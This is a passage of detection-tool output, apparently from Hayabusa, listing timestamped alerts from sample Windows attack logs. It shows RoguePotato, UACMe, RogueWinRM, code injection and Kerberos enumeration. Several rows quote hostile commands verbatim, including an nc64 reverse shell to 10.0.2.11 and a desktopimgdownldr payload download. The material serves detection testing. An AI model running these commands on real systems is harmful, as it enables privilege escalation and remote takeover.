Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:11:16.714 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-12 08:21:56.493 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: RoguePotato.exe -r 10.0.2.11 -e ""c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe"" -l 9999 : Path: C:\Users\IEUser\Tools\PrivEsc\RoguePotato.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.519 +09:00,MSEDGEWIN10,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.562 +09:00,MSEDGEWIN10,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.587 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe : Path: C:\Users\IEUser\Tools\Misc\nc64.exe : User: NT AUTHORITY\SYSTEM : Parent Command: RoguePotato.exe -r 10.0.2.11 -e ""c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe"" -l 9999",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.661 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-13 00:06:49.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: Akagi.exe 58 c:\Windows\System32\cmd.exe : Path: C:\Users\IEUser\Tools\PrivEsc\Akagi.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.019 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.211 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 328 310 0000028A37652590 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe -o -previd pe386 : Path: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41},rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.447 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe -o -previd pe386,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 09:28:16.122 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.873 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.914 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.950 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceAndNoImpersonation -p -s wcncsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-24 10:13:47.756 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: RogueWinRM.exe -p c:\Windows\System32\cmd.exe : Path: C:\Users\IEUser\Tools\PrivEsc\RogueWinRM.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:48.864 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:50.327 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: RogueWinRM.exe -p c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:51.206 +09:00,MSEDGEWIN10,3,high,Remote PowerShell Session,,rules/sigma/network_connection/sysmon_remote_powershell_session_network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:51.206 +09:00,MSEDGEWIN10,3,high,Remote PowerShell Session,,rules/sigma/network_connection/sysmon_remote_powershell_session_network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-07-01 05:50:25.546 +09:00,MSEDGEWIN10,10,critical,Direct Syscall of NtOpenProcess,,rules/sigma/process_access/sysmon_direct_syscall_ntopenprocess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_10_Evasion_Suspicious_NtOpenProcess_CallTrace.evtx +2020-07-01 05:50:25.546 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_10_Evasion_Suspicious_NtOpenProcess_CallTrace.evtx +2020-07-03 02:51:37.819 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: spooler.exe payload.bin : Path: C:\Users\Public\tools\cinj\spooler.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.819 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.872 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: notepad : Path: C:\Windows\System32\notepad.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\spoolsv.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.872 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 03:00:29.615 +09:00,LAPTOP-JU4M3I0E,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: chost.exe payload.bin : Path: C:\Users\Public\tools\evasion\chost.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.615 +09:00,LAPTOP-JU4M3I0E,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: notepad : Path: C:\Windows\System32\notepad.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,1,medium,Conhost Parent Process Executions,,rules/sigma/process_creation/win_susp_conhost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 17:47:20.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.037 +09:00,MSEDGEWIN10,1,high,Suspicious Desktopimgdownldr Command,,rules/sigma/process_creation/win_susp_desktopimgdownldr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.073 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr : Path: C:\Windows\System32\desktopimgdownldr.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.073 +09:00,MSEDGEWIN10,1,high,Suspicious Desktopimgdownldr Command,,rules/sigma/process_creation/win_susp_desktopimgdownldr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:21.491 +09:00,MSEDGEWIN10,11,high,Suspicious Desktopimgdownldr Target File,,rules/sigma/file_event/win_susp_desktopimgdownldr_file.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:55:49.123 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Download LockScreen Image : URL: https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/windows_bits_4_59_60_lolbas desktopimgdownldr.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: explorer.exe /root,""c:\windows\System32\calc.exe"" : Path: C:\Windows\explorer.exe : User: ECORP\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,medium,Explorer Root Flag Process Tree Break,,rules/sigma/process_creation/win_susp_explorer_break_proctree.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,low,Proxy Execution Via Explorer.exe,,rules/sigma/process_creation/win_susp_explorer.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.367 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: ECORP\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.583 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: ECORP\Administrator : Parent Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.739 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: ""C:\Windows\System32\win32calc.exe"" : Path: C:\Windows\System32\win32calc.exe : User: ECORP\Administrator : Parent Command: ""C:\Windows\System32\calc.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-04 23:18:58.268 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/evasion_persis_hidden_run_keyvalue_sysmon_13.evtx +2020-07-08 06:51:39.204 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-08 06:51:39.256 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-08 06:51:39.262 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-09 06:41:52.449 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:42:01.653 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:43:13.791 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-10 05:41:04.488 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ATACORE01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.490 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: PKI01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.496 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: EXCHANGE01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.497 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: WEC01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.501 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS02$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.505 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: WSUS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.534 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: DHCP01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.576 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ATANIDS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.861 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: PRTG-MON$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.862 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: MSSQL01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.863 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.864 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ADFS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.865 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: 